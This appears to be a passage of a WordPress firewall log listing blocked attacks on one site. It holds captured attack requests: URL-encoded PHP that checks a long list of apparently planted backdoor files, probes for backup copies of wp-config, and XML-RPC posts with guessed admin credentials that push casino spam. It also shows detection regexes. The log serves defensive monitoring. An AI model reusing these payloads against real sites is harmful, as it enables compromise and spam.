ds-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:12969\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG24vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\n\nOn=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 18:29:24","93.123.109.214","GET","\/wp-config.php.old","Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/131.0.0.0 Safari\/537.36","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/wp-config.php.old","GET \/wp-config.php.old HTTP\/1.1\nhost:dewenlabels.com\naccept-encoding:gzip\nuser-agent:Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/131.0.0.0 Safari\/537.36\n\n"]
["2026-04-20 18:29:24","93.123.109.214","GET","\/config.php.bak","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/131.0.0.0 Safari\/537.36","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/config.php.bak","GET \/config.php.bak HTTP\/1.1\nhost:dewenlabels.com\naccept-encoding:gzip\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/131.0.0.0 Safari\/537.36\n\n"]
["2026-04-20 19:24:48","23.27.110.52","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/65.0.3325.181 Safari\/537.36","post","select.+(from|limit) >> <?xml version:'1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<h1>What Makes Modern Online Casinos So Popular<\/h1> <p>Online  casino sites have become one of the most  vibrant corners of the digital  home entertainment  globe. Their appeal lies in the blend of excitement, convenience and constant  technology.  Gamers no longer need to visit physical venues to experience real-money  video gaming.  Rather, they can open a mobile  application or  web browser and access hundreds of  video games within  mins. This  comfort  has actually created a  brand-new generation of  gamers who value  adaptability and  rapid access over  standard  online casino routines.<\/p> <p>The  development of secure payment  techniques and reliable  systems has also strengthened trust.  Accredited operators  comply with  stringent  regulations, while modern encryption technologies protect every transaction.  Therefore, players  really feel safer depositing and  taking out funds  on-line than  ever.<\/p> <h2>The  Selection of Games Available Today<\/h2> <p>One of the strongest  benefits of  on-line  gambling enterprises is the sheer  deepness of their  video game libraries. Digital platforms  supply everything from  timeless pokies and  modern-day  video clip slots to table  video games like blackjack, roulette and baccarat.  Online  dealership  areas add an  additional layer of  realistic look by streaming human croupiers directly to the  gamer","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/65.0.3325.181 Safari\/537.36\nhost:dewenlabels.com\ncontent-length:7536\naccept-encoding:identity\ncontent-type:text\/xml\n\n<?xml version='1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<h1>What Makes Modern Online Casinos So Popular<\/h1> <p>Online  casino sites have become one of the most  vibrant corners of the digital  home entertainment  globe. Their appeal lies in the blend of excitement, convenience and constant  technology.  Gamers no longer need to visit physical venues to experience real-money  video gaming.  Rather, they can open a mobile  application or  web browser and access hundreds of  video games within  mins. This  comfort  has actually created a  brand-new generation of  gamers who value  adaptability and  rapid access over  standard  online casino routines.<\/p> <p>The  development of secure payment  techniques and reliable  systems has also strengthened trust.  Accredited operators  comply with  stringent  regulations, while modern encryption technologies protect every transaction.  Therefore, players  really feel safer depositing and  taking out funds  on-line than  ever.<\/p> <h2>The  Selection of Games Available Today<\/h2> <p>One of the strongest  benefits of  on-line  gambling enterprises is the sheer  deepness of their  video game libraries. Digital platforms  supply everything from  timeless pokies and  modern-day  video clip slots to table  video games like blackjack, roulette and baccarat.  Online  dealership  areas add an  additional layer of  realistic look by streaming human croupiers directly to the  gamer& rsquo; s  display. These  workshops  integrate real  online casino  ambience with the comfort of playing at home.<\/p> <p>The  consistent release of new titles keeps the <a href=\"https:\/\/testtest-test.com\/perevirka\/\">https:\/\/testtest-test.com\/perevirka\/<\/a> experience fresh. Game  service providers  frequently introduce  upgraded mechanics,  enhanced graphics and  appealing  bonus offer rounds. With  numerous  choices  readily available, players can  switch over  in between  motifs and gameplay styles without feeling limited.<\/p> <h2> Rewards and Promotions That  Forming Player Experience<\/h2> <p> On-line  gambling establishments  typically stand out  via their  marketing systems.  Rewards can enhance  very early sessions,  expand gameplay time and  supply a chance to  discover new games. Although every offer has specific  problems, the structure of bonuses plays a significant  function in  bring in new  gamers. Operators create unique  incentives for different  sorts of users,  making certain  novices and  seasoned  gamers alike can  locate something that  matches their style.<\/p> <p>Promotions also  construct  lasting  interaction.  Routine  incentives, special  occasions and exclusive campaigns  assist  preserve  rate of interest even after the  initial deposit. This  recurring value  is just one of the reasons why many  gamers  stay loyal to  details  gambling enterprise  brand names.<\/p> <h2>The  Value of Mobile-First Platforms<\/h2> <p>Mobile  video gaming has  changed the entire online  casino site  market. Most players  currently access their  preferred  video games through smartphones  instead of desktops. This shift  has actually encouraged operators to optimise every  attribute for smaller screens, making mobile experiences smoother,  quicker and  extra  user-friendly.<\/p> <p>Touch-based  user interfaces allow  all-natural interaction with games, while  light-weight  application  variations  use  instantaneous access without  jeopardizing on  high quality. Mobile-friendly  style also  makes certain players can  take pleasure in quick sessions during breaks or commutes.  Because of this, mobile  casino sites  have actually  come to be the  key  entrance to  on-line gaming for  several  customers worldwide.<\/p> <h2> Safety and security, Licensing and Responsible  Video Gaming<\/h2> <p> Depend on is the  structure of  on-line casino success.  Reliable operators obtain  permits from recognised authorities and  comply with  stringent  regulative  regulations. These  permits  verify that games  make use of audited  arbitrary number generators  which payouts  adhere to  clear  regulations.  Financial systems  additionally play a  important role, as encrypted transactions and modern  safety  devices  secure sensitive information.<\/p> <p>At the same time, responsible gaming  devices  assist  make sure that players  remain in control.  Functions such as deposit limits, cooldowns and self-exclusion  choices  produce a safer and  a lot more  encouraging  atmosphere. The industry  remains to  progress with new policies  made to protect  gamers from risky behaviours.<\/p> <h2>The Future of Online  Gambling Establishment  Enjoyment<\/h2> <p>The future of  on the internet  gaming points  towards  also  better  technology. Virtual reality experiences,  boosted live-dealer  communications and ultra-fast  settlement systems are  ending up being  extra common. Game  programmers  explore  motion picture graphics and advanced  technicians that make  electronic play  extra immersive.<\/p> <p>As  innovation continues to  advance,  on the internet  casino sites will likely deliver  a lot more  customised experiences. Tailored  suggestions, adaptive  rewards and interactive features  will certainly shape the next stage of  electronic gaming. The  market  reveals no signs of  decreasing, and  gamers can  anticipate an  progressively  abundant and  appealing  atmosphere in the years ahead.<\/p>\r\n]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>What Makes Modern Online Casinos So Popular<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>what-makes-modern-online-casinos-so-popular-83<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260420T11:14:51Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>Uncategorized<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>What Makes Modern Online Casinos So Popular<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>What Makes Modern Online Casinos So Popular Online casino sites have become one of the most vibrant corners of the digital home entertainment globe....<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>"]
["2026-04-20 19:24:51","23.27.110.52","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/65.0.3325.181 Safari\/537.36","post","select.+(from|limit) >> <?xml version:'1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<h1>What Makes Modern Online Casinos So Popular<\/h1> <p>Online  casino sites have become one of the most  vibrant corners of the digital  home entertainment  globe. Their appeal lies in the blend of excitement, convenience and constant  technology.  Gamers no longer need to visit physical venues to experience real-money  video gaming.  Rather, they can open a mobile  application or  web browser and access hundreds of  video games within  mins. This  comfort  has actually created a  brand-new generation of  gamers who value  adaptability and  rapid access over  standard  online casino routines.<\/p> <p>The  development of secure payment  techniques and reliable  systems has also strengthened trust.  Accredited operators  comply with  stringent  regulations, while modern encryption technologies protect every transaction.  Therefore, players  really feel safer depositing and  taking out funds  on-line than  ever.<\/p> <h2>The  Selection of Games Available Today<\/h2> <p>One of the strongest  benefits of  on-line  gambling enterprises is the sheer  deepness of their  video game libraries. Digital platforms  supply everything from  timeless pokies and  modern-day  video clip slots to table  video games like blackjack, roulette and baccarat.  Online  dealership  areas add an  additional layer of  realistic look by streaming human croupiers directly to the  gamer","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/65.0.3325.181 Safari\/537.36\nhost:dewenlabels.com\ncontent-length:7538\naccept-encoding:identity\ncontent-type:text\/xml\n\n<?xml version='1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<h1>What Makes Modern Online Casinos So Popular<\/h1> <p>Online  casino sites have become one of the most  vibrant corners of the digital  home entertainment  globe. 